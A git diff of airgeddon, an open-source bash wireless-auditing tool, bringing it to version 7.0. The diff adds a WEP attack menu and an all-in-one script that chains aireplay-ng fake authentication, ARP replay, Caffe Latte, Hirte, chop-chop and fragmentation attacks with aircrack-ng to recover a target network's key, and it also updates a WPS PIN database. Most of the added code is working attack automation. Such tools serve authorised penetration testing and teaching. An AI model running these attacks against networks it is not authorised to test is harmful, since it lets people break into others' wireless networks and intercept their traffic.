diff --git a/CHANGELOG.md b/CHANGELOG.md index 3df2c3fad..1023c5877 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,8 @@ +### 7.0 + - New WEP attacks menu + - Added All-in-One WEP attack + - Fixed bug on Handshake capture validations + ### 6.21 - Improved chipset detection, lsusb added to internal tools - Improved internet checking. Now more methods, not only icmp diff --git a/airgeddon.sh b/airgeddon.sh index 951968c91..1c7aa46d8 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,8 +2,8 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20170422 -#Version......: 6.21 +#Date.........: 20170505 +#Version......: 7.0 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -62,6 +62,7 @@ optional_tools_names=( "unbuffer" "bettercap" "beef" + "packetforge-ng" ) update_tools=("curl") @@ -95,6 +96,7 @@ declare -A possible_package_names=( [${optional_tools_names[17]}]="expect / expect-dev" #unbuffer [${optional_tools_names[18]}]="bettercap" #bettercap [${optional_tools_names[19]}]="beef-xss / beef-project" #beef + [${optional_tools_names[20]}]="aircrack-ng" #packetforge-ng [${update_tools[0]}]="curl" #curl ) @@ -104,8 +106,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="6.21" -language_strings_expected_version="6.21-1" +airgeddon_version="7.0" +language_strings_expected_version="7.0-1" standardhandshake_filename="handshake-01.cap" tmpdir="/tmp/" osversionfile_dir="/etc/" @@ -118,6 +120,14 @@ escaped_pending_of_translation="\[PoT\]" standard_resolution="1024x768" curl_404_error="404: Not Found" language_strings_file="language_strings.sh" +broadcast_mac="FF:FF:FF:FF:FF:FF" + +#WEP vars +wep_data="wepdata" +wepdir="wep/" +wep_attack_file="ag.wep.sh" +wep_key_handler="ag.wep_key_handler.sh" +wep_processes_file="wep_processes" #Docker vars docker_based_distro="Kali" @@ -242,6 +252,7 @@ declare evil_twin_hints=(254 258 264 269 309 328 400) declare evil_twin_dos_hints=(267 268) declare beef_hints=(408) declare wps_hints=(342 343 344 356 369 390) +declare wep_hints=(431 429 428 432 433) #Charset vars crunch_lowercasecharset="abcdefghijklmnopqrstuvwxyz" @@ -1533,6 +1544,527 @@ function ask_wps_timeout() { esac } +#Validate if selected network has the needed type of encryption +function validate_network_encryption_type() { + + debug_print + + case ${1} in + "WPA"|"WPA2") + if [[ "${enc}" != "WPA" ]] && [[ "${enc}" != "WPA2" ]]; then + echo + language_strings "${language}" 137 "red" + language_strings "${language}" 115 "read" + return 1 + fi + ;; + "WEP") + if [ "${enc}" != "WEP" ]; then + echo + language_strings "${language}" 424 "red" + language_strings "${language}" 115 "read" + return 1 + fi + ;; + esac + + return 0 +} + +#Execute wep all-in-one attack +#shellcheck disable=SC2164 +function exec_wep_allinone_attack() { + + debug_print + + echo + language_strings "${language}" 296 "yellow" + language_strings "${language}" 115 "read" + + prepare_wep_attack + set_wep_script + + recalculate_windows_sizes + bash "${tmpdir}${wep_attack_file}" > /dev/null 2>&1 & + wep_script_pid=$! + + set_wep_key_script + bash "${tmpdir}${wep_key_handler}" "${wep_script_pid}" > /dev/null 2>&1 & + wep_key_script_pid=$! + + echo + language_strings "${language}" 434 "yellow" + language_strings "${language}" 115 "read" + + kill_wep_windows +} + +#Kill the wep attack processes +function kill_wep_windows() { + + debug_print + + kill "${wep_script_pid}" &> /dev/null + wait $! 2>/dev/null + + kill "${wep_key_script_pid}" &> /dev/null + wait $! 2>/dev/null + + readarray -t WEP_PROCESSES_TO_KILL < <(cat < "${tmpdir}${wepdir}${wep_processes_file}" 2> /dev/null) + for item in "${WEP_PROCESSES_TO_KILL[@]}"; do + kill "${item}" &> /dev/null + done +} + +#Prepare wep attack deleting temp files +function prepare_wep_attack() { + + debug_print + + tmpfiles_toclean=1 + + rm -rf "${tmpdir}${wep_attack_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wep_key_handler}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1 + rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1 +} + +#Create here-doc bash script used for key handling on wep all-in-one attack +function set_wep_key_script() { + + debug_print + + exec 8>"${tmpdir}${wep_key_handler}" + + cat >&8 <<-EOF + #!/bin/bash + wep_key_found=0 + + #Check if the wep password was captured and manage to save it on a file + function manage_wep_pot() { + + if [ -f "${tmpdir}${wepdir}wepkey.txt" ]; then + wep_hex_key_cmd="cat \"${tmpdir}${wepdir}wepkey.txt\"" + EOF + + cat >&8 <<-'EOF' + wep_hex_key=$(eval "${wep_hex_key_cmd}") + wep_ascii_key=$(echo "${wep_hex_key}" | awk 'RT{printf "%c", strtonum("0x"RT)}' RS='[0-9]{2}') + EOF + + cat >&8 <<-EOF + echo "" > "${weppotenteredpath}" + { + EOF + + cat >&8 <<-'EOF' + date +%Y-%m-%d + EOF + + cat >&8 <<-EOF + echo -e "${wep_texts[${language},1]}" + echo "" + echo -e "BSSID: ${bssid}" + echo -e "${wep_texts[${language},2]}: ${channel}" + echo -e "ESSID: ${essid}" + echo "" + echo "---------------" + echo "" + EOF + + cat >&8 <<-'EOF' + echo -e "ASCII: ${wep_ascii_key}" + EOF + + cat >&8 <<-EOF + echo -en "${wep_texts[${language},3]}:" + EOF + + cat >&8 <<-'EOF' + echo -en " ${wep_hex_key}" + EOF + + cat >&8 <<-EOF + } >> "${weppotenteredpath}" + fi + } + + #Kill the wep attack processes + function kill_wep_script_windows() { + + readarray -t WEP_PROCESSES_TO_KILL < <(cat < "${tmpdir}${wepdir}${wep_processes_file}" 2> /dev/null) + EOF + + cat >&8 <<-'EOF' + for item in "${WEP_PROCESSES_TO_KILL[@]}"; do + kill "${item}" &> /dev/null + done + } + EOF + + cat >&8 <<-EOF + while true; do + sleep 1 + if [ -f "${tmpdir}${wepdir}wepkey.txt" ]; then + wep_key_found=1 + break + fi + EOF + + cat >&8 <<-'EOF' + wep_script_alive=$(ps uax | awk '{print $2}' | egrep "^${1}$" 2> /dev/null) + if [ -z "${wep_script_alive}" ]; then + break + fi + done + + if [ "${wep_key_found}" -eq 1 ]; then + manage_wep_pot + fi + EOF + + cat >&8 <<-EOF + kill_wep_script_windows + rm -rf "${tmpdir}${wepdir}${wep_processes_file}" + touch "${tmpdir}${wepdir}${wep_processes_file}" + EOF + + cat >&8 <<-'EOF' + if [ "${wep_key_found}" -eq 1 ]; then + EOF + + cat >&8 <<-EOF + wep_key_cmd="echo -e '\t${yellow_color}${wep_texts[${language},5]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${wep_texts[${language},6]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}'" + wep_key_cmd+="&& echo" + wep_key_cmd+="&& echo -e '\t${blue_color}${wep_texts[${language},4]}${normal_color}'" + wep_key_cmd+="&& echo" + wep_key_cmd+="&& echo -en '\t${blue_color}ASCII: ${normal_color}'" + EOF + + cat >&8 <<-'EOF' + wep_key_cmd+="&& echo -en '${wep_ascii_key}'" + EOF + + cat >&8 <<-EOF + wep_key_cmd+="&& echo" + wep_key_cmd+="&& echo -en '\t${blue_color}${wep_texts[${language},3]}: ${normal_color}'" + EOF + + cat >&8 <<-'EOF' + wep_key_cmd+="&& echo -en '${wep_hex_key}'" + EOF + + cat >&8 <<-EOF + wep_key_cmd+="&& echo" + wep_key_cmd+="&& echo" + wep_key_cmd+="&& echo -e '\t${pink_color}${wep_texts[${language},7]}: [${normal_color}${weppotenteredpath}${pink_color}]${normal_color}'" + wep_key_cmd+="&& echo" + wep_key_cmd+="&& echo -e '\t${yellow_color}${wep_texts[${language},8]}'" + + window_position="${g5_topright_window}" + sleep 0.5 + EOF + + cat >&8 <<-'EOF' + xterm -hold -bg black -fg white -geometry "${window_position}" -T "WEP Key Decrypted" -e "eval \"${wep_key_cmd}\"" > /dev/null 2>&1 & + wep_key_window_pid=$! + { + echo -e "${wep_key_window_pid}" + EOF + + cat >&8 <<-EOF + } >> "${tmpdir}${wepdir}${wep_processes_file}" + fi + EOF +} + +#Create here-doc bash script used for wep all-in-one attack +function set_wep_script() { + + debug_print + + current_mac=$(cat < "/sys/class/net/${interface}/address" 2> /dev/null) + + exec 6>"${tmpdir}${wep_attack_file}" + + cat >&6 <<-EOF + #!/bin/bash + #shellcheck disable=SC1037 + #shellcheck disable=SC2164 + #shellcheck disable=SC2140 + ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + mkdir "${tmpdir}${wepdir}" > /dev/null 2>&1 + cd "${tmpdir}${wepdir}" > /dev/null 2>&1 + EOF + + cat >&6 <<-'EOF' + #Execute wep chop-chop attack on its different phases + function wep_chopchop_attack() { + + case ${wep_chopchop_phase} in + 1) + EOF + + cat >&6 <<-EOF + if grep "Now you can build a packet" "${tmpdir}${wepdir}chopchop_output.txt" > /dev/null 2>&1; then + EOF + + cat >&6 <<-'EOF' + wep_chopchop_phase=2 + else + wep_chopchop_phase1_pid_alive=$(ps uax | awk '{print $2}' | egrep "^${wep_chopchop_phase1_pid}$" 2> /dev/null) + if [[ ${wep_chopchop_launched} -eq 0 ]] || [ -z "${wep_chopchop_phase1_pid_alive}" ]; then + wep_chopchop_launched=1 + EOF + + cat >&6 <<-EOF + xterm -bg black -fg brown -geometry "${g5_left7}" -T "Chop-Chop Attack (1/3)" -e "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_chopchop_phase1_pid=$! + wep_script_processes+=(${wep_chopchop_phase1_pid}) + fi + fi + ;; + 2) + EOF + + cat >&6 <<-EOF + xterm -bg black -fg brown -geometry "${g5_left7}" -T "Chop-Chop Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_chopchop_phase2_pid=$! + wep_script_processes+=(${wep_chopchop_phase2_pid}) + wep_chopchop_phase=3 + ;; + 3) + wep_chopchop_phase2_pid_alive=$(ps uax | awk '{print $2}' | egrep "^${wep_chopchop_phase2_pid}$" 2> /dev/null) + if [ -z "${wep_chopchop_phase2_pid_alive}" ]; then + EOF + + cat >&6 <<-EOF + xterm -hold -bg black -fg brown -geometry "${g5_left7}" -T "Chop-Chop Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_script_processes+=($!) + wep_chopchop_phase=4 + fi + ;; + esac + write_wep_processes + } + EOF + + cat >&6 <<-EOF + #Execute wep fragmentation attack on its different phases + function wep_fragmentation_attack() { + EOF + + cat >&6 <<-'EOF' + case ${wep_fragmentation_phase} in + 1) + EOF + + cat >&6 <<-EOF + if grep "Now you can build a packet" "${tmpdir}${wepdir}fragmentation_output.txt" > /dev/null 2>&1; then + EOF + + cat >&6 <<-'EOF' + wep_fragmentation_phase=2 + else + wep_fragmentation_phase1_pid_alive=$(ps uax | awk '{print $2}' | egrep "^${wep_fragmentation_phase1_pid}$" 2> /dev/null) + if [[ ${wep_fragmentation_launched} -eq 0 ]] || [ -z "${wep_fragmentation_phase1_pid_alive}" ]; then + wep_fragmentation_launched=1 + EOF + + cat >&6 <<-EOF + xterm -bg black -fg blue -geometry "${g5_left6}" -T "Fragmentation Attack (1/3)" -e "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_fragmentation_phase1_pid=$! + wep_script_processes+=(${wep_fragmentation_phase1_pid}) + fi + fi + ;; + 2) + EOF + + cat >&6 <<-EOF + xterm -bg black -fg blue -geometry "${g5_left6}" -T "Fragmentation Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_fragmentation_phase2_pid=$! + wep_script_processes+=(${wep_fragmentation_phase2_pid}) + wep_fragmentation_phase=3 + ;; + 3) + wep_fragmentation_phase2_pid_alive=$(ps uax | awk '{print $2}' | egrep "^${wep_fragmentation_phase2_pid}$" 2> /dev/null) + if [ -z "${wep_fragmentation_phase2_pid_alive}" ]; then + EOF + + cat >&6 <<-EOF + xterm -hold -bg black -fg blue -geometry "${g5_left6}" -T "Fragmentation Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_script_processes+=($!) + wep_fragmentation_phase=4 + fi + ;; + esac + write_wep_processes + } + + #Write on a file the id of the WEP attack processes + function write_wep_processes() { + EOF + + cat >&6 <<-EOF + if [ ! -f "${tmpdir}${wepdir}${wep_processes_file}" ]; then + touch "${tmpdir}${wepdir}${wep_processes_file}" > /dev/null 2>&1 + fi + path_to_process_file="${tmpdir}${wepdir}${wep_processes_file}" + EOF + + cat >&6 <<-'EOF' + for item in "${wep_script_processes[@]}"; do + egrep "^${item}$" "${path_to_process_file}" > /dev/null 2>&1 + EOF + + cat >&6 <<-'EOF' + if [ "$?" != "0" ]; then + echo "${item}" >>\ + EOF + + cat >&6 <<-EOF + "${tmpdir}${wepdir}${wep_processes_file}" + fi + done + } + + wep_script_processes=() + xterm -bg black -fg white -geometry "${g5_topright_window}" -T "Capturing WEP Data" -e "airodump-ng -d ${bssid} -c ${channel} -w \"${tmpdir}${wep_data}\" ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_script_capture_pid=$! + wep_script_processes+=(${wep_script_capture_pid}) + write_wep_processes + EOF + + cat >&6 <<-EOF + wep_to_be_launched_only_once=0 + wep_fakeauth_pid="" + wep_aircrack_launched=0 + current_ivs=0 + wep_chopchop_launched=0 + wep_chopchop_phase=1 + wep_fragmentation_launched=0 + wep_fragmentation_phase=1 + EOF + + cat >&6 <<-'EOF' + while true; do + wep_capture_pid_alive=$(ps uax | awk '{print $2}' | egrep "^${wep_script_capture_pid}$" 2> /dev/null) + wep_fakeauth_pid_alive=$(ps uax | awk '{print $2}' | egrep "^${wep_fakeauth_pid}$" 2> /dev/null) + + if [[ -n ${wep_capture_pid_alive} ]] && [[ -z ${wep_fakeauth_pid_alive} ]]; then + EOF + + cat >&6 <<-EOF + xterm -bg black -fg green -geometry "${g5_left1}" -T "Fake Auth" -e "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_fakeauth_pid=$! + wep_script_processes+=(${wep_fakeauth_pid}) + write_wep_processes + sleep 2 + fi + + if [ ${wep_to_be_launched_only_once} -eq 0 ]; then + wep_to_be_launched_only_once=1 + EOF + + cat >&6 <<-EOF + xterm -hold -bg black -fg yellow -geometry "${g5_left2}" -T "Arp Broadcast Injection" -e "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + + cat >&6 <<-EOF + xterm -hold -bg black -fg red -geometry "${g5_left3}" -T "Arp Request Replay" -e "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + + cat >&6 <<-EOF + xterm -hold -bg black -fg pink -geometry "${g5_left4}" -T "Caffe Latte Attack" -e "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_script_processes+=($!) + EOF + + cat >&6 <<-EOF + xterm -hold -bg black -fg grey -geometry "${g5_left5}" -T "Hirte Attack" -e "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_script_processes+=($!) + write_wep_processes + fi + + if [ ${wep_fragmentation_phase} -lt 4 ]; then + wep_fragmentation_attack + fi + + if [ ${wep_chopchop_phase} -lt 4 ]; then + wep_chopchop_attack + fi + EOF + + cat >&6 <<-EOF + ivs_cmd="grep WEP ${tmpdir}${wep_data}*.csv --exclude=*kismet* | head -n 1 " + EOF + + cat >&6 <<-'EOF' + ivs_cmd+="| awk '{print \$11}' FS=',' | sed 's/ //g'" + + current_ivs=$(eval "${ivs_cmd}") + if [[ ${current_ivs} -ge 5000 ]] && [[ ${wep_aircrack_launched} -eq 0 ]]; then + wep_aircrack_launched=1 + EOF + + cat >&6 <<-EOF + xterm -bg black -fg yellow -geometry "${g5_bottomright_window}" -T "Decrypting WEP Key" -e "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" > /dev/null 2>&1 & + EOF + + cat >&6 <<-'EOF' + wep_aircrack_pid=$! + wep_script_processes+=(${wep_aircrack_pid}) + write_wep_processes + fi + + wep_aircrack_pid_alive=$(ps uax | awk '{print $2}' | egrep "^${wep_aircrack_pid}$" 2> /dev/null) + if [[ -z "${wep_aircrack_pid_alive}" ]] && [[ ${wep_aircrack_launched} -eq 1 ]]; then + break + elif [[ -z "${wep_capture_pid_alive}" ]]; then + break + fi + done + EOF +} + #Execute wps custom pin bully attack function exec_wps_custom_pin_bully_attack() { @@ -1899,6 +2431,42 @@ function michael_shutdown_option() { exec_michaelshutdown } +#Validate wep all-in-one attack parameters +function wep_option() { + + debug_print + + if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then + echo + language_strings "${language}" 125 "yellow" + language_strings "${language}" 115 "read" + explore_for_targets_option + fi + + if [ "$?" != "0" ]; then + return 1 + fi + + check_monitor_enabled + if [ "$?" != "0" ]; then + return 1 + fi + + validate_network_encryption_type "WEP" + if [ "$?" != "0" ]; then + return 1 + fi + + echo + language_strings "${language}" 425 "yellow" + language_strings "${language}" 115 "read" + + manage_wep_log + language_strings "${language}" 115 "read" + + exec_wep_allinone_attack +} + #Validate wps parameters for custom pin, pixie dust, bruteforce and pin database attacks function wps_attacks_parameters() { @@ -2140,6 +2708,7 @@ function initialize_menu_options_dependencies() { bully_pixie_dust_attack_dependencies=(${optional_tools_names[15]} ${optional_tools_names[16]} ${optional_tools_names[17]}) reaver_pixie_dust_attack_dependencies=(${optional_tools_names[14]} ${optional_tools_names[16]}) et_sniffing_sslstrip2_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[18]} ${optional_tools_names[19]}) + wep_attack_dependencies=(${optional_tools_names[2]} ${optional_tools_names[20]}) } #Set possible changes for some commands that can be found in different ways depending of the O.S. @@ -2226,6 +2795,10 @@ function initialize_menu_and_print_selections() { print_iface_selected print_all_target_vars_wps ;; + "wep_attacks_menu") + print_iface_selected + print_all_target_vars + ;; "beef_pre_menu") print_iface_selected print_all_target_vars_et @@ -2260,13 +2833,17 @@ function clean_tmpfiles() { fi rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 - rm -rf -R "${tmpdir}${webdir}" > /dev/null 2>&1 + rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1 if [ "${dhcpd_path_changed}" -eq 1 ]; then rm -rf "${dhcp_path}" > /dev/null 2>&1 fi rm -rf "${tmpdir}wps"* > /dev/null 2>&1 rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wep_attack_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wep_key_handler}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1 + rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1 } #Manage cleaning firewall rules and restore orginal routing state @@ -2393,6 +2970,13 @@ function print_hint() { randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[wps_hints|${randomhint}]} ;; + "wep_attacks_menu") + store_array hints wep_hints "${wep_hints[@]}" + hintlength=${#wep_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[wep_hints|${randomhint}]} + ;; "beef_pre_menu") store_array hints beef_hints "${beef_hints[@]}" hintlength=${#beef_hints[@]} @@ -2428,6 +3012,7 @@ function main_menu() { language_strings "${language}" 169 language_strings "${language}" 252 language_strings "${language}" 333 + language_strings "${language}" 426 print_simple_separator language_strings "${language}" 60 language_strings "${language}" 78 @@ -2461,12 +3046,15 @@ function main_menu() { wps_attacks_menu ;; 9) - credits_option + wep_attacks_menu ;; 10) - language_menu + credits_option ;; 11) + language_menu + ;; + 12) exit_script_option ;; *) @@ -2904,6 +3492,61 @@ function wps_attacks_menu() { wps_attacks_menu } +#WEP attacks menu +function wep_attacks_menu() { + + debug_print + + clear + language_strings "${language}" 427 "title" + current_menu="wep_attacks_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 48 + language_strings "${language}" 55 + language_strings "${language}" 56 + language_strings "${language}" 49 + language_strings "${language}" 50 "separator" + language_strings "${language}" 423 wep_attack_dependencies[@] + print_simple_separator + language_strings "${language}" 174 + print_hint ${current_menu} + + read -r wep_option + case ${wep_option} in + 1) + select_interface + ;; + 2) + monitor_option + ;; + 3) + managed_option + ;; + 4) + explore_for_targets_option + ;; + 5) + contains_element "${wep_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wep_option + fi + ;; + 6) + return + ;; + *) + invalid_menu_option + ;; + esac + + wep_attacks_menu +} + #Offline decryption attacks menu function decrypt_menu() { @@ -3434,6 +4077,25 @@ function manage_bettercap_log() { fi } +#Check if the password was captured using wep all-in-one attack and manage to save it on a file +function manage_wep_log() { + + debug_print + + wep_potpath=$(env | grep ^HOME | awk -F = '{print $2}') + lastcharwep_potpath=${wep_potpath: -1} + if [ "${lastcharwep_potpath}" != "/" ]; then + wep_potpath="${wep_potpath}/" + fi + weppot_filename="wep_captured_key-${essid}.txt" + wep_potpath="${wep_potpath}${weppot_filename}" + + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "weppot" + done +} + #Check if the passwords were captured using the captive portal Evil Twin attack and manage to save them on a file function manage_captive_portal_log() { @@ -4804,7 +5466,7 @@ function set_captive_portal_page() { debug_print - rm -rf -R "${tmpdir}${webdir}" > /dev/null 2>&1 + rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1 mkdir "${tmpdir}${webdir}" > /dev/null 2>&1 { @@ -5697,10 +6359,8 @@ function capture_handshake_evil_twin() { debug_print - if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then - echo - language_strings "${language}" 137 "red" - language_strings "${language}" 115 "read" + validate_network_encryption_type "WPA" + if [ "$?" != "0" ]; then return 1 fi @@ -5778,10 +6438,13 @@ function capture_handshake() { return 1 fi - if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then - echo - language_strings "${language}" 137 "red" - language_strings "${language}" 115 "read" + check_monitor_enabled + if [ "$?" != "0" ]; then + return 1 + fi + + validate_network_encryption_type "WPA" + if [ "$?" != "0" ]; then return 1 fi @@ -5851,6 +6514,10 @@ function validate_path() { et_handshake="${pathname}${standardhandshake_filename}" suggested_filename="${standardhandshake_filename}" ;; + "weppot") + suggested_filename="${weppot_filename}" + weppotenteredpath+="${weppot_filename}" + ;; esac echo @@ -5969,6 +6636,14 @@ function read_path() { fi validate_path "${et_captive_portal_logpath}" "${1}" ;; + "weppot") + language_strings "${language}" 430 "blue" + read_and_clean_path "weppotenteredpath" + if [ -z "${weppotenteredpath}" ]; then + weppotenteredpath="${wep_potpath}" + fi + validate_path "${weppotenteredpath}" "${1}" + ;; esac validpath="$?" @@ -8034,17 +8709,27 @@ function set_windows_sizes() { g2_stdright_window="${xwindow}x${ywindowone}-0+0" g3_topleft_window="${xwindow}x${ywindowthird}+0+0" - g3_middleleft_window="${xwindow}x${ywindowthird}+0+${middle_position}" + g3_middleleft_window="${xwindow}x${ywindowthird}+0+${second_of_three_position}" g3_bottomleft_window="${xwindow}x${ywindowthird}+0-0" g3_topright_window="${xwindow}x${ywindowhalf}-0+0" g3_bottomright_window="${xwindow}x${ywindowhalf}-0-0" g4_topleft_window="${xwindow}x${ywindowthird}+0+0" - g4_middleleft_window="${xwindow}x${ywindowthird}+0+${middle_position}" + g4_middleleft_window="${xwindow}x${ywindowthird}+0+${second_of_three_position}" g4_bottomleft_window="${xwindow}x${ywindowthird}+0-0" g4_topright_window="${xwindow}x${ywindowthird}-0+0" - g4_middleright_window="${xwindow}x${ywindowthird}-0+${middle_position}" + g4_middleright_window="${xwindow}x${ywindowthird}-0+${second_of_three_position}" g4_bottomright_window="${xwindow}x${ywindowthird}-0-0" + + g5_left1="${xwindow}x${ywindowseventh}+0+0" + g5_left2="${xwindow}x${ywindowseventh}+0+${second_of_seven_position}" + g5_left3="${xwindow}x${ywindowseventh}+0+${third_of_seven_position}" + g5_left4="${xwindow}x${ywindowseventh}+0+${fourth_of_seven_position}" + g5_left5="${xwindow}x${ywindowseventh}+0+${fifth_of_seven_position}" + g5_left6="${xwindow}x${ywindowseventh}+0+${sixth_of_seven_position}" + g5_left7="${xwindow}x${ywindowseventh}+0+${seventh_of_seven_position}" + g5_topright_window="${xwindow}x${ywindowhalf}-0+0" + g5_bottomright_window="${xwindow}x${ywindowhalf}-0-0" } #Set sizes for x axis @@ -8086,6 +8771,7 @@ function set_ysizes() { ywindowone=$((ytotal - ywindow_edge_lines)) ywindowhalf=$((ytotal / 2 - ywindow_edge_lines)) ywindowthird=$((ytotal / 3 - ywindow_edge_lines)) + ywindowseventh=$((ytotal / 7 - ywindow_edge_lines)) } #Set positions for y axis @@ -8093,7 +8779,14 @@ function set_ypositions() { debug_print - middle_position=$((resolution_y / 3 + ywindow_edge_pixels)) + second_of_three_position=$((resolution_y / 3 + ywindow_edge_pixels)) + + second_of_seven_position=$((resolution_y / 7 + ywindow_edge_pixels)) + third_of_seven_position=$((resolution_y / 7 + resolution_y / 7 + ywindow_edge_pixels)) + fourth_of_seven_position=$((resolution_y / 7 + 2 * (resolution_y / 7) + ywindow_edge_pixels)) + fifth_of_seven_position=$((resolution_y / 7 + 3 * (resolution_y / 7) + ywindow_edge_pixels)) + sixth_of_seven_position=$((resolution_y / 7 + 4 * (resolution_y / 7) + ywindow_edge_pixels)) + seventh_of_seven_position=$((resolution_y / 7 + 5 * (resolution_y / 7) + ywindow_edge_pixels)) } #Recalculate windows sizes and positions @@ -8289,7 +8982,7 @@ function check_internet_access() { debug_print - ping -c 1 ${1} -W 1 > /dev/null 2>&1 + ping -c 1 "${1}" -W 1 > /dev/null 2>&1 if [ "$?" = "0" ]; then return 0 fi @@ -8403,6 +9096,7 @@ function remove_warnings() { echo "${reaver_attacks_dependencies[@]}" > /dev/null 2>&1 echo "${bully_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 echo "${reaver_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 + echo "${wep_attack_dependencies[@]}" > /dev/null 2>&1 echo "${is_arm}" > /dev/null 2>&1 } diff --git a/binaries/arch/airgeddon-git-r632.b735052-1-any.pkg.tar.xz b/binaries/arch/airgeddon-git-r632.b735052-1-any.pkg.tar.xz new file mode 100644 index 000000000..2a7ddc16d Binary files /dev/null and b/binaries/arch/airgeddon-git-r632.b735052-1-any.pkg.tar.xz differ diff --git a/binaries/arch/airgeddon-git-6.2-7-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-6.2-7-any.pkg.tar.xz similarity index 100% rename from binaries/arch/airgeddon-git-6.2-7-any.pkg.tar.xz rename to binaries/arch/legacy/airgeddon-git-6.2-7-any.pkg.tar.xz diff --git a/binaries/kali/airgeddon_7.0-1_all.deb b/binaries/kali/airgeddon_7.0-1_all.deb new file mode 100644 index 000000000..33edd38b8 Binary files /dev/null and b/binaries/kali/airgeddon_7.0-1_all.deb differ diff --git a/binaries/kali/airgeddon_6.21-1_all.deb b/binaries/kali/legacy/airgeddon_6.21-1_all.deb similarity index 100% rename from binaries/kali/airgeddon_6.21-1_all.deb rename to binaries/kali/legacy/airgeddon_6.21-1_all.deb diff --git a/known_pins.db b/known_pins.db index 521a3ef0f..83be56038 100644 --- a/known_pins.db +++ b/known_pins.db @@ -2,12 +2,12 @@ #Title........: known_pins.db #Description..: This is a WPS PIN database for routers that generate generic passwords. #Author.......: v1s1t0r -#Date.........: 20170422 +#Date.........: 20170505 #Bash Version.: 4.2 or later #Set PIN database. Keys are the first 6 bssid digits and are ordered -# shellcheck disable=SC2080 -# shellcheck disable=SC2034 +#shellcheck disable=SC2080 +#shellcheck disable=SC2034 function set_pin_database() { declare -gA PINDB @@ -75,7 +75,7 @@ function set_pin_database() { PINDB["00908F"]="38384127 38322921 42390480" PINDB["00A026"]="81349487 84385727 82244521 83368929 84302403" PINDB["00B00C"]="49693928" - PINDB["00B6B7"]="10157268" + 